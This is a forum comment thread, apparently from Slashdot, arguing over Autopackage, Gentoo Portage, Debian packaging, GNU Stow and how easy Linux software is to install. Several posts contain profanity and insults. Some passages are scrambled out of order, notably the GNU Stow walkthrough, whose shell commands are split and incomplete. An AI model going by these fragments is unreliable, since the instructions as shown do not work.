Plus, I don't know about the rest of the BSD community, but I am fond of Gentoo. In fact, if I had to switch to Linux tomorrow, I'd move immediately to Gentoo because of its philosophy and way of doing things. Plus, about 6-7 months ago, I was very close to considering installing Gentoo, but somebody gave me some FreeBSD disks, and I got hooked on FreeBSD. Gentoo has just about the nicest documentation that I've seen for a Linux distribution, and I like the ease of upgradability for applications and for the OS. To me, Gentoo has the BSD philosophy with a Linux kernel and GNU tools.
Well fucking said.
From the maker of Autopackage:
In order to integrate with the web, MacOS X has some pretty awful hacks: self mounting disk images spring to mind. A DMG file is basically like a disk image that can be mounted as a loopback device: the web browser is responsible for downloading this, mounting it, extracting the appfolders if any are present then unmounting the disk image again. The end result is that clicking a link in a web page can silently place software on your desktop, sometimes with no notification that this has occurred.
Here http://bylands.dur.ac.uk/~mh/autopackage.org/ui-v
Damn, no Debian package for it. Oh well.
Blaming GW Bush for the Iraq war is like blaming Ronald McDonald for the poor quality of food.
Been using linux for several years, on several distros, i can use rpm, apt-get, no problems, they are prety reliable if you are technical enough to know what you are doing.
But the problem here is someone like my sis, who doesnt bother to know all the -ivh flags to install her basic moral chat needs.
The lunatic is in my head
Even though I'm fond of Gentoo due to its "nextgen packaging system", Gentoo isn't an operating system for the proverbial Joe Average. Don't get me wrong, Gentoo is a fine operating system, but it is too high maintenance for the less technically inclined. We may like upgrading our operating system weekly, keeping track of the latest software, tweaking our compiliation options, recompiling our kernels, etc.
However, Joe Average doesn't feel like downloading and compiling the latest sources for his operating system, or upgrading his ports system weekly. What Joe Average wants is to be able to download and install software with easy to use graphical tools without any trouble. Joe Average doesn't care about RPMs and tarballs and all of this other package nonsense. Joe Average just wants to sit down and check some mail, watch some DVDs, chat up a storm with his friends, surf the web, and get some work taken care of; without much trouble. If Joe Average wants to download any Linux software tool, he should be able to do it without too much difficulty.
If you don't like this autopackaging system or any other of the usability enhancements that Linux distributions are getting, well, you don't have to use them. But all that I'm saying is that even though Gentoo is a very fine operating system, it isn't suitable for everybody.
One thing that bugs the crap out of me is trying to build something to find that it needs version xxx of yyy, which in turn needs version zzz of aaa, which in turn needs version ddd of qqq, etc, etc, etc. Why not have everything it needs bundled up nice? Then when the installer/builder/manager tries to install, prompt the user if xxx, zzz,yyy, etc, should be installed as well?
"Would it kill you to put down the toilet seat?" -- Maya Angelou
There is greater standardization of referencing things outside a package.
We need to be able to reference an entity outside the package, which means unique names. We need to be able to stipulate in varying degrees of strengths version requirements. For instance if I need version 3, then I use the generic reference and refer to the version, if I need, anything that can do everything that version 3 can do then using that is fine to and should be supported, 3.x, perhaps? We need to standardize WHAT version numbers mean, not the even/odd stable/unstable, but more in line with does this break API and/or ABI or not. If that entity must also have an optional feature built into it, there must be a sub-reference with a version association made separately by the querying package, just as if we were querying a package, so it's recursive.
This would be easy if we could use, oh I don't know, URIs! Which work out quite nicely for this stuff. zero-install does this, but it has other issues, like dependency on a kernel module, they're getting away from it, in fairness.
Now entities can be services, libraries whatever. But we should be able to name them and version them. They should publish what standards they support, that information should be queryable in a standard format.
And, no, it's not all that much work. The LSB and numerous other standards already exist, people need to talk to each other more and then think about what to do rather than simply do and then go crap, we can't go farther because of x, y, z.
It's all a question of integration, it's getting there, hopefully, it'll get there faster, how's tomorrow for everybody?
Seems the website has been packaged..
gleened from the flash demo
progress meters or UI el;ements that look like them do not go back and forwards, if you want pretty animations dont use already established interface elements, you are just going against what the user has already learnt about installers and what progress meters look like/their function
make your dialogs all the same size/look, the first dialog and the password prompt one is not consistant with the rest of the installer, it should be the same UI from start to finish
no cancel button, i should be able to cancel at any time, if i cannot then of remove the button (do not grey it out whatever you do as there is nothing worse than seeing a cancel button you cannot click on) the installer should be able to reverse any changes silently
dont ask for passwords if they are not needed, ( the "use no password box" is redundant) again the UI should be consistant throughout
progress meters should accurately reflect the install processes completion, i shouldnt see anything happening to the system beyond 100%
why have a progress meter for extracting files but nothing else ? does the user care about files, or do they care about is the whole thing finished ?
the uninstaller said one package needed root access to uninstall yet had no option to enter a root password (other than logging out/in of the system or running it in su)
go look at a WISE windows installer/process and see how they do it, replicate or better it on *nix and you will be onto a winner
--AJ
Dont you feel it is quite humorous that just about everyone here said 'just before you start bashing, this is so good' and such and no one is even bashing it?
I hope they integrate a version tracker or portage system with autopackage so those easy to install packages stay up to date.
Portage would never be ported (no pun intended) to *BSD, because we already have Ports.
Don't tell these people.
Direct away from face when opening.
"The whole reason many people use gentoo is b/c it is so easy to install software"
/
Hmm.
--
$ emerge --pretend --update world
These are the packages that I would merge, in order:
Calculating world dependencies
!!! All ebuilds that could satisfy ">=dev-libs/boehm-gc-6.4" have been masked.
!!! One of the following masked packages is required to complete your request:
- dev-libs/boehm-gc-6.4 (masked by: ~x86 keyword)
For more information, see MASKED PACKAGES section in the emerge man page or
section 2.2 "Software Availability" in the Gentoo Handbook.
!!! (dependency required by "media-gfx/inkscape-0.41" [ebuild])
!!! Problem with ebuild media-gfx/inkscape-0.41
!!! Possibly a DEPEND/*DEPEND problem.
!!! Depgraph creation failed.
--
OK, so that's my fault - I've unmasked Inkscape and now the latest masked version has another masked dependency.
There's two problems here.
1) I had to unmask some packages to get them to work. Notably Meld, which has been unmasked since I first tried to install it last year and discovered that the "stable" ebuild was actually completely broken and wouldn't even compile. There were lots of posts on forums and bug reports about it for months but it remained broken, the standard solution was "unmask it and use a newer one, they work fine!". So, there's some slack QA going on somewhere - either the new packages are OK to unmask and it should be done upstream or the old one should be fixed. Inkscape was similar, but not quite as severely broken. aMule is the same - the "stable" 1.2.8 version in Portage is actually extremely unstable and buggy, and it's presently impossibly to build any of the (much more stable) 2.0-pre series without doing a USE="-GTK2" and getting a seriously ugly GUI.
2) Emerge is bombing out cheerfully when I try to update purely because it's hitting one dependency problem on Inkscape. It would make more sense for it to ignore any available updates to Inkscape and try to update the rest of my software, like Firefox. Maybe there's an obscure switch for this I haven't read up on, but it's hardly "... so easy to install software!".
Gentoo is technically quite interesting, but it has the occasional package management snarl-up - just like all the other distros!
Autopackage seems like a good idea to me too, though.
I read the developer quickstart guide, and still can't figure out if this will help me with integrating a Java application.
Right now, I use an installer based on IzPack, which works but results in an application that must be started from a shell script and does not integrate in the desktop. In particular, the user can not just double click files that have been created with my application. Also annoing is the fact that the installer includes trivial libraries like log4j, which causes bloat. And worse, some libraries have to be downloaded manually, in my case JAI. I'd say my application is a horrible user experience under Linux.
However, the developer quick guide just keeps talking about about C compilers, GTK and other stuff I don't use or care about. Is there any point in taking a closer look at autopackage?
Is it really supposed to be a good alternative to traditional debian packages? I talk about what I (thin I) know but I'm sure other distributions have the same concerns:
Why is debian so good? Not because software installation is so easy. Of course it's important but the thing is every debian package has to follow strict policies to get accepted by the ftp masters.
Also, according to the FAQ, software installed through Autopackage won't be known to dpkg (and apt-get, etc.). They say they want to integrate with rpm, but nothing about deb...
According to the FAQ autopackage is not adequate for packaging C++ programs (because of gcc's ABI instability).
Finally, I doubt these packages will ever use things like the debian "alternatives" and other particularities which make a debian system.
I won't consider such a regression anytime soon.
autopackage's dependency policy concerns me. They argue that rapidly changing deps should be incorporated into a package's codebase, and that conditional deps should be handled at runtime with dlopen() or using their C(++) specific "relaytool".
Two questions:
* Even stable packages can have unstable APIs, e.g. GNOME with their timed release cycles. GNOME apps not distributed with GNOME rely on detailed dependency resolution for safe operation. Shouldn't the automation of this be the primary goal of a tool like autopackage (or emerge, urpmi, etc. etc.)?
* How can the user tweak the functionality, i.e. does he have to manually install a conditional dep, so that some functionality magically starts working in his package of interest? For example, I install evolution, but to get Palm-syncing capability, I have to manually install the gnome-conduits package? This requires extra knowledge in the user, or some notification from the package of interest.
I remember looking at this project when it was in its earlier stages and I thought the roadmap said something about trying to package GNOME into an autopackage. Has this been done, or do you think this is possible?
True story.
"To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING."
This is hardly the point of the project.
Sadly, that is the point of the project. It's meant to aid the installation of packaged software from third party sources and manage dependancies in order to accomplish this. That is specifically my problem with it, it is a tool for enabling dangerous behaviour for unexperienced users.
Anybody who says EVERYTHING they'll ever need is included in their distro is just being a troll. Because it simply is not possible that ANY distro is "finished." And a lot of people don't want to wait months until something they want shows up in a repository.
I think you mistake the difference between "need" and "want". They are different, you know. So I will tell you that if you are using Mandrake, Fedora, Ubuntu, Gentoo, or any other popular distribution: there are no programs that an inexperienced user *needs* that do not come in their software repositories. Just because you are impatient and cannot wait a few months doesn't make your desire a neccessity, eh?
And I have NEVER had a spyware/virus/trojan problem from such software. (Although I have had software that simply screwed up the machine due to stupid programming.)
Shit, I didn't read that until now. I actually did think you were serious at first. Ah well, you got me.
501 Not Implemented
As a Gentoo user I wholeheartedly agree with the above. It's not a troll. There's a certain proportion of the Gentoo userbase who are, to put it nicely, idiots. They hang around Slashdot and post "... but Gentoo does it better!" on every story about Linux, distributions or package management. Or, indeed, entirely unrelated ones.
e ekend" school of thought who like Gentoo because they can cripple their system constantly by repeatedly recompiling Xorg with ever more ludicrous compiler flags.
They're morons, and not representative of the wider Gentoo community who are otherwise represented by people who write EXCELLENT documentation and develop a very pleasing distribution. Most people who give Gentoo a go find it quite a nice OS, assuming they're somewhat technical minded and like the command line. However there's a few of the boy-racer types who come from the "my-car-is-better-because-it-needs-fixing-every-w
They're morons, and it's not trolling to call them morons. MOD PARENT UP!
Does anybody else see the irony in developing a demo of a Linux app using a format that cannot be developed natively on Linux?
Next thing you know, they'll be writing a VB interface to autopackage...
Is Capitalism Good for the Poor?
C'mon, kids. It's a JOKE.
I think.
I hope.
and I was amazed by how well it worked! I think this could easily be the answer to the linux software installation problem. I am a gentoo user, and I like portage, but autopackage is a slick piece of software. Perhaps it could be used in conjunction with portage (i.e. remove the idea of "gentoo packages" for end-user-type-apps and make portage interface to autopackage). Either way, I think that a stable Autopackage definitely is a step forward for desktop linux.
I'm at uni and on their machines it's impossible to install stuff as root, so when I need something I have to install it in my homedir or /tmp. This is fiddly as hell, especially considering usually has to be done from source.
Can autopackage handle such installations (not having root, not knowing if a file is going to be persistent between logins, capable of running alongside another few instances of it)? Are there any other package managers which can?
Dijjer is like on-demand bit torrent. No set up at all. no servers you have to establish. If this catches on the entire interent will work p2p and no one will need a powerful server or mirrors.
Some drink at the fountain of knowledge. Others just gargle.
I have a lot of respect for Mike,0 04/11 /0489.html)
I suspect most of the ABI breakages in GCC were
but I disagree strongly with him on this.
(We've discussed it before; see
http://www.winehq.org/hypermail/wine-devel/2
He's essentially unwilling to wait for the
slow process of completing the LSB and
making GCC's C++ ABI fully standard compliant.
I can't blame him for being impatient, and
trying alternate paths towards application
portability, but I am willing to bet him
a rib dinner that the slow process being followed
by the LSB and by GCC will ultimately succeed
where his quick 'just solve the problems NOW'
approach will not achieve wide use.
He thinks what the LSB should be doing is defining
a stable ABI for things like Gnome and Qt,
and it's wasting its time defining an ABI
for all the stuff that's so stable
it already works on all Linux systems --
as long as you build from source.
Well, heck, why should we require people to
build from source? We *need* an ABI for that
boring old stable stuff so that people can
compile once and run everywhere. Java developers
have this, pretty much, and it makes life
soooo much more pleasant.
He's also completely unfair in criticizing
gcc's c++ ABI behavior. gcc and several
other C++ compilers (including icc) implement the
multivendor C++ ABI defined at
http://www.codesourcery.com/cxx-abi/abi.html
there from Day 1, and each time they fix one
of them, they're moving gcc closer to ABI
compliance. To users, this feels like constant
ABI breakage, since object code produced by
versions of g++ before and after the ABI fix
can't be mixed, but each fix increases the
likelihood that C++ object files built by
different vendors' compilers can be mixed in
the same program. I say a little pain now is
well worth it for the eventual payoff.
Time will tell whether Mike or I are right,
but if Mike's in a betting mood, I'd be more
than happy to accept a wager.
That's fine for advanced users who can handle the command line but what about the remaining 97% of the world?
....of course one might wonder how you got Gentoo up and running in the first place since use must you the command line to even install it.
If you can't handle a command line you probably don't want to be running unverified, alpha software.
Pretty much anything your average joe is going to want IS in portage. The stuff that isn't is generally really specialized, or not quite there yet in terms of features and stability.
Life is too short to proofread.
I never said I was part of that 97% jackass...
"A truly wise man realizes he knows nothing."
Reading the faq, seeing the demo, and hearing the talk, this sounds like the holy grail of linux.
./configure && make && make install, it is really hard to uninstall if you didnt keep the source directory and cant find the package again.
While I am somewhat happy with
I will be installing and using this every chance I get. (assuming it lives up to its hype.)
It's easier to fight for one's principles than to live up to them.
to use to add or remove programs.
http://klik.berlios.de/
Running with Linux for over 20 years!
Trying to install autopackage on ubuntu is slightly broken since it asks for the root password when there isn't one. Maybe check if the root account is disabled and use sudo if it is? Still works though, just can't install anything system-wide. :(
Plenty of people do, plenty of people don't. Unless everyone does it, you can't assume it will be available for what you need.
Which could be said about any package format.
The nice thing about ebuilds, as opposed to binary packages it that so long as you have libraries installed that can work with foobar, you can install foobar. If you have a binary package for foobar, it might demand a specfic library version of "stuff", or specfic compile-time flags for "stuff". Then you go download a package off somebody else's site and it turns out that one wants a different, INCOMPATIBLE configuration of "stuff".
So yes, you have these two binary packages that should work, but they don't.
I remember for example fighting with mplayer (wants GCC 2.95) and redhat (wants GCC 2.96), back in the days that I used redhat.
There is nothing autopackage would have done to solve that problem, because it's a binary packaging format. Keeping track of where the files go is only part of the battle, you also need to be able to use a set of dependencies that actually work together.
A bunch of random people distributing binary packages in ANY format doesn't solve this, and if you create a central repository, what advantage do you have left over gentoo? You're still tied up waiting for things to get into the tree, but now your hands are tried WRT to things like what libraries you're going to use.
Life is too short to proofread.
I don't hate Gentoo guys for bringing Portage to BSD. I dislike Gentoo zealots because they're really annoying, and I dislike Gentoo because it breaks itself without my help.
It only has half of the BSD philosophy. Good docs by Linux standards, and a centralized mechanism to install most 3rd party software, but terrible reliability.
The BSD philosophy includes a distaste for unreliability and breakage. We'd rather be a bit slower and a bit out of date than bleeding edge if it means we don't have to go around tracking down breakage.
I've tried Gentoo, and I loved how easy it was to install the most up to date software. However, I took a look at myself after a month or two and realized I was spending a lot of time cruising the formus, trying to find out why my system broke itself in the last update. I couldn't assume my system would be up and running at any given time, and I simply wasn't willing to put in the time it takes to keep that from happening.
I still need a Linux for various reasons, and I'd still like it to be up to date-ish. But Gentoo can't give that to me with the time I'm willing to put in. However, Gentoo did convince me to move my home directory to a BSD machine, and then export it via NFS. That way I can jump ship and move to another Linux (or BSD) at a moment's notice, without worrying about whether my filesystem is supported or any of the other issues that make changing OSes annoying.
I rarely criticize things I don't care about.
I'd like to see a GUI wrapper around ./configure && make && make install -- a window with checkboxes for all the different --enable and --with options, a button to change what directories the program is installed to, and a "build" button at the bottom. Do all the configuring in a hidden embedded terminal widget, and have a "details" button for people who really want to look at the stuff scrolling by. It could be written with PyGtk (or whatever else; maybe it could even detect KDE or Gnome and use the appropriate toolkit) so it'd run on any architecture, maybe even have extensions to call apt-get or rpm to automatically resolve dependencies for the major distributions.
This could even be done with a shell script wrapper around a tar.bz2 file (think shar, or the old StarOffice installer), so when it's double clicked in the file manager it would untar itself into a temporary directory and install.
Bears don't normally eat things that talk and move backwards.
Have any of you actually used this? I used it myself to install inkscape (another very sweet app) and I am telling you guys, the people over at autopackage are giving you cake!! You don't even need the auto-package app on your computer, it is built into the binary. Autopackage then automatic goes out and updates it's self.. and then installs inkscape. Not only that it gives you a sweet package manager GUI. Trust me, this is definatly the way to go. Plus it is not distro dependant! It doesn't get any better!
I was first exposed to them a long time ago, and yes there is no easy way to include dependency checking, though I can't see why it would be any more dificult to include a dependency resolver for when the required support libraries arn't available.
:)
My main guess as to why they havn't chosen this technique is because app folders are not a feature of linux, theres no kernel support for them and theres virtually no support for them in graphical filers (ROX Desktop is the only one which comes to mind).
I'm sure at some point Windows or MacOS will come up with a lovely system for installing applications and then we'll copy them
get a few corrupted libraries and apt-get is useless. You then have to use the deb tool to remove the corrupt libraries and run apt-get again and hope it works. If not, you may have to reformat and try again.
I've had Debian distros do a meltdown on me doing that, and I followed every helpful guide on the Internet trying to fix it. The Autopackage technology seems like it has a fix for these dependancy problems and corrupt libraries.
Much as I hate to say it, Autopackage seems to add in Microsoft Windows like install and removal abilities to Linux. This is a good thing, because it makes Linux more of a desktop OS that the average person can use without learning how to be a Linux Admin. That makes Linux more popular and maybe more people will switch to it.
Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
I never said I was part of that 97% jackass...
Nor did I. Perhaps you are unfamiliar with the word "if"?
There's no reason to resort to this ad hominem crap because you're ticked about something I didn't even say.
Life is too short to proofread.
Autopackage may be useful in providing a relatively hassle free method of installing applications.
I've been using Linux for quite a while (since 1997) and I think there is room for improvement, I like what I have going and don't need to change.
In addition to my current debian based systems, I've used RPM based distros (come to think of it my file server is limping around on a busted Fedora Core 2 install -- and it still does everything I need it too). One day I'll play around with Gentoo, just to see what all the fuss is about.
In other words I don't think this system will be a great benefit to an experienced Linux user.
Linux noobs would benefit more from finding a distro, learn it break it fix it. Than some newfangled universal wonder, that could cause confusion as to where the problem may be. (is it the distro? is it the package? is it me, or something I've done... fear panic... Oh well, I'll just go back to windows.
Some developers will benefit. But I'd guess that most GPL'd and open source devlopers have already got their groove on.
HMM... PROPRIETARY... maybe. I'm sure all of hardware manufactures with their trade secrets would love to have a package system that keeps their stuff locked up in a tidy cell.
This could be good: the more stuff that comes to Linux, the more stuff we can play with.
This could be bad: this free software stuff came into existance because Richard Stallman (as the story goes) wanted to make a simple tweek to a printer; this could help to bring that wonderful creation back to where it all started.
I'm not into Linux for the free stuff I'm into it because I love feedom.
Yes, what's needed for binary packages to work is a well defined base system like commercial OSs like Windows and OS X have. This base system gets upgraded no more often than every six months except for minor patches. That way you can release a binary package that works with standard linux base version 3 or standard linux base version 4, etc... Without that the best option is soruce compiling, otherwise even with something like autopackage, you're still stuck in at least the 3rd circle of dependency hell instead of the 9th.
RMS must by really pissed off by this. "You mean we aren't going to make the user run a batch of typed commands in order to install a program?! Why are you trying to make it easy for people!? Using Linux is supposed to be hard and tedious!"
Ok, maybe I need to calm down my GNU-angst a little...
Currently, too many third party softwares come as RPMs. Want to use Sybase? You need to be (somewhat) RPM compatible. Bleh.
I hope that this catches, and that the major distros help with the integration into the native package schemes. This'd be a great thing for folks that actually BUY software for Linux.
jh
From the FAQ we can learn:
"Can I autopackage KDE/Qt apps?
It is possible but hard, because the C++ ABI is not stable. It was supposd to be, but then gcc 3.4 broke it yet again. Until we have a stable C++ ABI on Linux distributing binaries that link against anything other than the standard library is a bad idea. GTKmm apps are OK because you can statically link GTKmm and not suffer too badly, but Qt/KDE cannot be statically linked in a sensible fashion. Better support for KDE C++ apps is planned"
is this for adults?
Long term what I'd like to see is an equivalent to freedesktop.org for distributions, where distro developers can congregate and produce standards on how things should work.
Repeat after me: All your Linux Standard Base are belong to us.
The FAQ answers that question with:
What RPM is not good at is non-core packages, ie programs available from the net, from commercial vendors, magazine coverdisks and so on.
Why not? If you're going to spend a metric shitload of time creating a new packaging format and you want anyone to use it, some actual justification might help.
Personally, I'd add non DB backends, suggests/recommends, and non root installs to RPM, or add better file / signature verification, a DB backend, and non root installs to dpkg.
No, seriously. I was just thinking this morning about how I'd love to set up Fedora on a lab computer (so that other people can oogle at the Beauty, and not be confused by the much cooler Debian) if only apt-get was available ... but this is so much cooler! Thank you, Autopackage!
Finally something that resembles the ease of use of Windows.
The system of attempting to package everything the user of the distro might ever want is not scalable.
Looks like it is to me: Debian has pretty much everything I want. If it's not been packaged yet, it's probably not in good enough shape yet to use either.
Distro developers end up duplicating effort on a massive scale. 20 distros == the same software packaged 20 times
The idea that this is duplicated effort presumes that the main work and value of creating packages for distributions is in putting things into containers, but that's wrong. The main work and value of distributions like Debian is in the extensive testing that goes into making sure that all the packages work together.
Debian does two more things: during the process of Debian packaging, people review the licenses associated with software. When I install software in core Debian, I can be sure that it doesn't come with weird or restrictive licenses attached. And Debian also provides a central point of contact for issues like security and Trojans.
Packages created with Autopackage don't provide any of that--anybody can throw any kind of shit into an autopackage and put it on their web site. There is no guarantee that stuff has been tested, there is no independent review, there is no point of contact to resolve conflicts.
Packaging for distributions has a huge value and Autopackage isn't providing it. Systems like Autopackage take us back to the chaotic software maintenance practices on Windows and OS X, and I don't want to be there.
Most large apps require installation. Final Cut express does. Photoshop does. PhaseOne CaptureOne does. The list can go on and on. And they really poop their libraries all over your hard drive. Worse yet, on Mac OS X there's no uninstaller. You just drag the corresponding dirs to the trash can. Trouble is, they're in half a dozen different places.
I like the idea of bundles, though, and I like the apps that I can cleanly uninstall by dragging them into the trash can. But, unfortunately, not all apps on the Mac conform to this ideal.
Executable packages? Gee, that hasn't shown to be a brutally horrible idea by a certain other OS, has it?
No thank you.
"The reason is that most of these packaging solutions, while great for developers and those who want detailed knowledge of the inner workings of their systems, simply suck when given to mortal users."
Put a user in front of a half autopackage half RPM/dpkg solution (remember kids, the autopackage author thinks you should maintain two packaging systems and an arbitrary distinction between stuff included in your distro and stuff that's not, yet).
Take that same user, and put them in front of Synaptic, or (tho I haven't tried it) that cute little Ubuntu updater thing.
Then make up your mind.
>The main work and value of distributions like >Debian is in the extensive testing that goes into >making sure that all the packages work together.
One thing...not everyone uses the same distribution. And before you say it, no, we shouldn't. The lack of a monoculture is one of Linux's primary defenses against viruses...To newbs, lack of a single universal interface seems like a weakness...but apart from strong multi-user, one of the other things that impedes virus writing is the lack of a consistent environment...because it means a virus writer cannot make a single set of assumptions about how a virus will need to behave. If a virus was written to attack something written for KDE, for example, the fact that there are other desktops means that a Gnome user may not be affected by it. People keep calling for "unity" all the time, when what they don't realise is that the universal interface is actually one of Microsoft's biggest problems...it's not a strength.
Autopackage is something that would be distro independent, and as such could be extremely beneficial...people could still ship distro-specific patches with an autopackage quite easily if they wanted to. The added benefit though would also be that someone who either wasn't using Debian/RH or who was actually using something distro-neutral like LFS could still install it.
Linux has always been about choice. If someone wants to use Debian, great...but there are a lot of other distributions out there which do different things. Autopackage could give all of them the means of installing packages easily, while still retaining their uniqueness. That's a good and important thing.
"Dropping to a terminal, cd pathtoapp, tar -jxvf whatever.tar.gz, cd newpath, ./configure; make; make install is too much shit for a user -- and then how to uninstall? Keep the source directory there forever? "
Agreed. But how is using 2 package sytems (as the autopackge author recommends) with a weird distinction between what's installed in your current distro and 'third paty' apps easier than:
1). Putting a link to 'Synaptic software installer'
2). Having them browse for their app or simply type its name.
3). Letting them click OK as the app and its dependencies are downloaded and installed for them
?
The current Linux model of distros integrating and authenticating software from upstream authors
The flash demo shows a dependancy check. The screen shots show the dependancy screen with one "warning"-level issue (a dependancy that is recomended but not necessary)
But what happens if a dependancy is missing? Is the user stuck having to go find and install that thing first? Or does the thing try and fetch it?
The FAQs posted in the thread do not seem to answer that question. To me, it's the most important one. I don't have a problem typing 'rpm' on command line, I don't mind configure; make ; make install. Do do mind having to trace down every single dependancy that's either not on my system or on my system but needs a symlink to a different name before the install recognizes it.
So, does this AutoPackaging thingy have a way to deal with that?
Ecce Europa - Web Design for Business
Indeed.
Hell, you can have completely duplicate directory tree for these "Linux base" libraries if you want to hang on to what the distro already had. That would make sense as this stable base would probably never be as up to date as some of the distros.
Some things have their own libraries anyway, as it's the only sane way to support all the distros out there, but it would be a big win if applications could share these. And if they have nothing to do with the distro they're installed on, you could install these on Debian-stable or some old version of Slackware if you wanted. They'd just need kernel support for what they want to do.
I rarely criticize things I don't care about.
see subject
Running with Linux for over 20 years!
He's referring to the last sentence, in which you question how 'you' (I guess talking about the poster) could install Gentoo without knowing the command line.
I can see how it could be taken both ways.
WeRelate.org - wiki-based genealogy
Im sure its been said elsewhere, but I think this is one of the big hurdles that Linux faces. I use Windows almost exclusively. Ive tried a few Linux distros in the past, but there were two things that always sent me back.
First was the games. All the popular games, therefore more money and time dumped into them, are for Windows. I know what Transgaming is doing, Ive even had a subscription there before too. But its too slow. I think OpenGL is partially to blame for this. Theyve always been slower to adapt than Microsoft is with DirectX. DirectX has done a good job of becoming all encompassing too, with video, audio, network play, etc.
Second, is the pain that it is to install almost anything. Skipping over figuring out which version of the file you need (distro, version), now you have to download these packed files which you have to unpackage first, whose instructions are written for a command line. Whens the last time you had to bust out pkunzip to install a program in Windows? The youd have to use Notepad to edit a file. Youd be lucky to find 1 in 10 computer users that even know of a program that will compile C ("What the hell is 'C'?"). RPM is merely OK.
I like Portage
Sounds like Windows to me. n/t
What exactly is the "shitload" to "metric shitload" ratio anyway? I know I'm an ignorant American, but I'm at least trying to learn...
Help us build a better map!
I like having my apps packaged in a standardized format. Compare, if you will, gPhoto against the software that comes with your average $19.99 Wal-Mart digicam. gPhoto offers a standard interface for any camera, whereas the Mart software uses its own look and feel, its own interface, its own installation system, and if you get a different camera, you need another multi-megabyte install. Pfah!
I like having software that's written from the user's perspective and not the hardware manufacturer's. I like having a great big list of all the packages which exist in the "world" as my distribution sees it.
Installing software under Linux is, for me, as a rule, nicer than installing under Windows.
That said, it would be nice if they had some sort of baseline standard for library version or whatnot, something along the lines of "this app will run on Generic Standard Linux 1.1", which would be a set of, say, glibc this and libfoo that and so forth. Might be a useful way to get the same baseline that people coding to Windows 2000 have to work with.
--grendel drago
Laws do not persuade just because they threaten. --Seneca
It amazes me that GNU Stow has not been mentioned yet (http://www.gnu.org/software/stow).
/usr/local/stow/swiprolog ./configure --prefix=/usr/local/stow/swiprolog
/usr/local/stow/swiprolog
/usr/local hierarchy.
/usr/local/stow/swiprolog
If the software you are installing uses the autotools, it's this easy to install software:
$ mkdir
$
$ make; make install prefix=/usr/local/stow/swiprolog
You can do all this as a non-root user (aside from creating the directory of course). So you will sure that swiprolog didn't write files in funny
locations.
Now you need to Stow it (`apt-get install stow` on Debian):
# As root
$ stow
This makes symlinks into the
When time for deletion comes:
$ stow -D
Its clean and has worked for me for many years.
Danie Roux *shuffle* Adore Unix
the makers of CUPS: the Common Unix Printing System has another product called EPM: Easy Package Management available at http://www.easysw.com/epm/.
EPM is a free UNIX software/file packaging program that generates distribution archives from a list of files.
EPM Can:
* Generate portable script-based distribution packages complete with installation and removal scripts and standard install/uninstall GUIs.
* Generate "native" distributions in AIX, BSD, Debian, HP-UX, IRIX, MacOS X, Red Hat, Slackware, Solaris, and Tru64 UNIX formats.
* Provide a complete, cross-platform software distribution solution for your applications.
____
to the guy marking my comments as -1: why?
_ In Egypt Networks: Network Solutions with a Twist
Jesus Gentoo fanbois can be annoying.
Just like halfwits who spell fanboy as fanbois.
That was cool to when you were 13, and annoying as hell for pretty much everybody who is older. Grow the fuck up.
That simply confirms that Gentoy users are clueless 14 year old fanboys with no talent.
Having read much of what people have to say about this, I think everyone appears to agree that the convoluted mess of packaging systems in linux is a major turn off for users. I know when I first started using linux (mandrake 9, and then RH9), that I was very confused about such things, I considered myself to be quite handy with a computer, but the large multitude of different types of packages, and the inconsistency with which types were available, was a complete nightmare.
./configure && make && make install, they're generally the only people who need different/complicated set ups.
What people (Joe Public) want, is to be able to find a piece of software on the internet, while they're searching for what they want. Download a file, run it, and then after that be able to use the software.
They don't want to piss around with dependancies, running scripts, configuring, building, or anything like that. They want to be presented with a few basic options, be able to click next a couple of times, and then its done.
Sysadmins/power users/dA 133735T H4X0RS don't need this, they can cope with
The Joe Public perception of how computers work, isn't in depth enough to go into dependancies/librarys/System folders/etc. This is where I think Complete seperation of the Operating System, and the programs running on it, would be advantageous. Dare I say it, but Windows appears to be better in this area, (I can't compare to OS X, I've never been rich enough to own something that runs it) C:\Program Files\ and C:\Windows\ make sense. Admittedly Microsoft is not very at sticking to this, insisting that programs and the OS need to be locked together, and things that I would consider Applications, end up in the Windows Directory.
It should not be a strict definition between what is physically part of the OS and what is a standalone program, it should be down to the user's perception, of what is an application and what is not.
I think this is where the seperation between different package types would be beneficial. The OS/Distribution could use whatever package style it wanted for the componants of the main operating system. It could also include packages of popular programs, which the user can then choose to install seperately. Or they can download alternative packages which they can install instead.
This appears to be what autopackage is aiming for, I think they're getting it right.
What people who want linux on the desktop need to start pushing for, is something universal for programs to be distributed in, so people can download, click, and go. Without first having to dig through a repository to see if their distribution has a probably out of date copy. Yes, that works for OS bits and pieces, and perhaps services like httpd,ssh,etc. Maybe even hardware drivers. But this should be seperate from any repository for userland programs. So that users can see the distinction.
My 2 cents.
.sigs are for losers
Seriously! This should be used! I tried this, and it works great! Darn! Problem is to make the distros support it. I really hope they will!
dll hell is gone because everyone uses .net
/lib/somelib.crazy.1.1.23-51.so and /lib/somelib.crazy.1.9.73-23.so .... wow.. all libraries that are different have different names and can never get confused or overwrite each other. simple solution. dosnt really does suck though. dosnt just isnt designed to be a real os. sorry. technical decisions are trounced by marketing, remember graphics drivers going to ring0.. after all that trouble that intel went to with designing hardware to do ioctrls and stuff. hardware to test a bitmap to check permisions on io ports.. windos is just not designed to be technically correct.
there is no huge install base it simply doesnt exist and nobody uses programs written for win9x/winnt.. nothing to see here folks
ok lets just recall where dll hell comes from for a second. oh yeah thats right. in windows nt i mean dos, you only have 8.3 letters for a file name and so your dll's can only have 8.3 letters.. oh wait only 8 letters to identify them. now under unix you can have
. Instead, BSD ports will go download and compile everything, then request the root password later, wasting the user's time if she doesn't have the admin around.
/usr/ports/distfiles, to which the user has no write permission. If the source *does* exist, it will attempt to unpack it in /usr/ports/category/thisport/work, and fail for lack of write permission.
No it doesn't. It can't, unless permissions have been changed.
Unless the user has specified otherwise, the download will go to
hawk
On the half-baked chance you aren't just pulling my leg, I'll take your reply seriously. After all, _someone_ thought you were serious (or funny enough to warrant a moderation).
Do not imagine that if Linux had the popularity of Microsoft(tm) Windows(r), it would take the malware coders more than a week to get into business. All they need is to provide executable files to run, and end-users they can convince to download files and then double-click them (assuming that Linux web browsers continue to non-autoexecute downloaded binaries). Once they've run that one binary, it can either execute the malware immediately, or merely install it in the user's writable disk space (including ~/.login, as well as ~/.firefox and maybe elsewhere)
